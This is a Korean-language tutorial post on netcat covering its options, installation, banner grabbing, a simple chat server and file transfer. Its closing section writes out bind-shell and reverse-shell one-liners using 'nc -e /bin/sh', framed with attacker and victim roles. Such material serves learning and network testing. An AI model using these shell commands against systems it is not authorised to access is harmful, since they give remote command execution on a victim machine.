logo

한국어

nc(netcat) 명령어 사용법

관리자 2018.08.06 16:12 조회 수 : 38

출처: http://htst.tistory.com/61

넷캣(Netcat)은 TCP나 UDP 프로토콜을 사용하는 네트워크 연결에서 데이터를 읽고 쓰는 간단한 유틸리티 프로그램이다. 일반적으로는 UNIX의 cat과 비슷한 사용법을 가지고 있지만 cat이 파일에 쓰거나 읽듯이 nc는 network connection에 읽거나 쓴다. 이것은 스크립트와 병용하여 network에 대한 debugging, testing tool로써 매우 편리하지만 반면 해킹에도 이용범위가 넓다.

Netcat(이하 nc로 표기)은 Network connection 에서 raw-data read, write를 할수 있는 유틸리티 프로그램입니다. 일반적으로는 UNIX의 cat과 비슷한 사용법을 가지고 있지만 cat이 파일에 쓰거나 읽듯이 nc는 네트워크에 읽거나 쓸수 있습니다. 이것은 스크립트와 병용하여 network에 대한 debugging, testing tool로써 매우 편리하고, 원하는 포트로 원하는 데이터를 주고받을수 있는 특징때문에 해킹에도 널리 이용되며, 컴퓨터 포렌식에 있어서 라이브시스템의 데이터를 손상없이 가져오기위해서도 사용될수 있습니다.

nc은 원하는 거의 모든 종류의 접속형태를 만들어 낼 수 있고 흥미로운 몇 가지 내장기능을 갖고 있기 때문에 다기능의 네크워크 문제해결/조사시 유용하게 사용가능합니다.

 

■ 프로그램 다운로드

(리눅스용 nc) http://netcat.sourceforge.net/

(윈도우용 nc) http://www.securityfocus.com/tools/139/scoreit

 

■ nc 최신버전에 대한 사용법

----------------------------------------------------------------------------------------------

usage : nc [options] [target host] [ports]

-n : 호스트 네임과 포트를 숫자로만 입력받는다.

-v : verbosity 를 증가 시킨다. 더 많은 정보를 얻을수 있다.

-o [filename]: 보내거나 받은 데이터를 헥스덤프하여 파일에 저장한다.

-u : TCP connection 대신에 UDP connection 이 이루어 진다.

-p [port number or name] : local-port 를 지정한다. 주로 -l 과 같이 사용하게 된다.

-s [ip address or DNS] : local ip address 를 지정한다. 모든 플렛폼에서 지원되지는 않는다.

-l : listen 모드로 nc을 띠우게 된다. 당연히 target host는 입력하지 않는다. -p와 같이 사용하게 된다. nc를 server 로서 쓸때 사용.

-e [filename] : -DGAPING_SECURITY_HOLE 옵션으로 Make 되었을 때 사용가능하다.

-t : -DTELNET 옵션으로 컴파일 되었을 때 사용가능하다. telnetd에 접속이 가능하도록 접속시 telnet과 같은 협상과정을 거친다.

-i [interval time] : nc는 일반적으로 8K 씩 데이터를 보내고 받는데 그렇게 Standard input의 한 라인씩 interval time마다 보내게 된다.

-z : connection을 이루기위한 최소한의 데이터 외에는 보내지 않도록 하는 옵션.

-r : port 지정이 여러개로 되어 있으면 이때 scanning 순서를 randomize하고 (일반적으로 범위로 지정하면 높은 번호의 포트부터 스캔한다) 또한 -p 옵션에서 지정가능한 local port도 randomize 합니다. 이때 주의 할 것은 -p가 -r을 override 한다는 것입니다.

 

----------------------------------------------------------------------------------------------

 

 

 

[실습] netcat 명령어 설치

(linux200)

# yum -y install nc

-> 출력내용 생략

 

# rpm -qa | grep nc

nc-1.84-10.fc6

 

[실습] 간단한 네트워크 연결

 

# nc 192.168.10.200 22 (# telnet localhost 22)

SSH-2.0-OpenSSH_4.3

exit

Protocol mismatch.

 

[실습] 서비스 배너 수집

 

# echo -e "HEAD / HTTP/1.0\n\n" | nc httpd.apache.org 80
 

HTTP/1.1 200 OK

Date: Fri, 22 Aug 2014 07:13:00 GMT

Server: Apache/2.4.10 (Unix) OpenSSL/1.0.1i

Last-Modified: Fri, 22 Aug 2014 07:10:38 GMT

ETag: "9ae4-5013288ca49a2"

Accept-Ranges: bytes

Content-Length: 39652

Vary: Accept-Encoding

Cache-Control: max-age=3600

Expires: Fri, 22 Aug 2014 08:13:00 GMT

Connection: close

Content-Type: text/html; charset=utf-8

 

# echo -e "HEAD / HTTP/1.0\n\n" | nc localhost 80

 

HTTP/1.1 200 OK

Date: Fri, 22 Aug 2014 07:12:33 GMT

Server: Apache/2.2.3 (CentOS)

Last-Modified: Mon, 14 Jul 2014 10:40:47 GMT

ETag: "62237b-43-ec8109c0"

Accept-Ranges: bytes

Content-Length: 67

Connection: close

Content-Type: text/html; charset=UTF-8

-> 위 결과를 보면 웹 서버 소프트웨어와 운영체제를 알 수 있다.

 

 

[실습] 간단한 서버/클라이언트 구성

 

포트 7979에서 리슨(listen)하는 간단한 채팅 서버를 만들어 보자.

(nc server) 192.168.10.200

[TERM1] # nc -l 7979

 

(nc client) 192.168.10.200

[TERM2] # nc 192.168.10.200 7979 (# telnet 192.168.10.200 7979)

hi

hello netcat!!!!

<CTRL + D>

 

-> 클라이언트에서 입력한 모든 문자가 서버에 출력된다.

-> 간단한 채팅 서버를 만든 셈이다.

-> 클라이언트에서 <CTRL + D> 통해 끊을 때 서버도 같이 종료 된다.

-> connection 이 이루어 졌을 때 파일을 실행시킨다. -l 과 같이 사용되면 한 instance만을 사용하는 inetd와 비슷하다.

 

[실습] 파일 전송

 

클라이언트에서 명령의 결과를 바로 서버 측으로 전송하거나 파일을 전송할 수 있다.

클라이언트에서 넷캣 리스너로 파일을 전송할 수도 있고 역방향으로 파일을 전송할 수도 있다.

 

(nc server) [TERM1] # nc -l 7979 > /tmp/output.txt

(nc client) [TERM2] # ps auxf | nc 192.168.10.200 7979

or

    # nc 192.168.10.200 < /tmp/input.txt

(nc server) [TERM1] # cat /tmp/output.txt


[참고] 참고 사이트(반드시 참고한다.)

 

http://devanix.tistory.com/307

-> 백도어 쉘과 리버스 셀 부분을 참고한다.

https://www.linux.co.kr/home/lecture/?leccode=10648

http://1828.tistory.com/entry/Tool-NC-NetCat

http://egloos.zum.com/hanguy/v/2079313

http://idkwim.tistory.com/58

http://security.kaist.ac.kr/docs/netcat.html

http://www.oac.uci.edu/indiv/franklin/doc/netcat.html


■ 백도어 쉘(bind_tcp)

서버(공인 IP) - Victim

클라언트(공인IP/사설IP) - Attacker

# nc -e /bin/sh -l -p 1234

 

 

 

 

# nc <Victim's IP> 1234

uname -a;

ls -al;

 

■ 리버스 쉘(reverse_tcp)

서버(공인 IP) - Attacker

클라언트(공인IP/사설IP) - Victim

# nc -n -v -l -p 1234

 

ifconfig;

id;

hostname;

# nc -e /bin/sh <Victim's IP> 1234

 

 

번호 제목 날짜 조회 수
83 PortableApps.com Launcher 사용 방법 2018.10.10 5
82 crontab 2018.09.25 2
81 FFmpeg 2018.09.03 16
» nc(netcat) 명령어 사용법 2018.08.06 38
79 [Firefox]Google 검색 시 SEC_ERROR_UNKNOWN_ISSUER 오류 해결방법 2018.03.27 8
78 rsync service 2018.02.08 21
77 REG 명령어 2018.02.06 32
76 [Firefox] 우클릭금지 해제 방법 2017.07.04 65
75 아웃룩 gmail 동기화 속도 증가 팁 file 2017.04.27 454
74 Acrobat Reader DC 우측 빠른실행 없애기 2017.02.07 117
73 lftp 사용 방법 2017.02.05 532
72 7zip 사용방법 2016.06.22 425
71 make 기본 문법 2014.06.08 112
70 make Writing Recipes in Rule 2014.06.08 36
69 make 조건 분기 2014.06.08 26
68 make 명령행 옵션 2014.06.08 39
67 make 암묵적 규칙 사용 2014.06.08 114
66 make 텍스트 변환 함수 2014.06.08 111
65 make 변수 문법 2014.06.08 93
64 OS별 H/W 시리얼 번호 알아내기 2014.05.29 39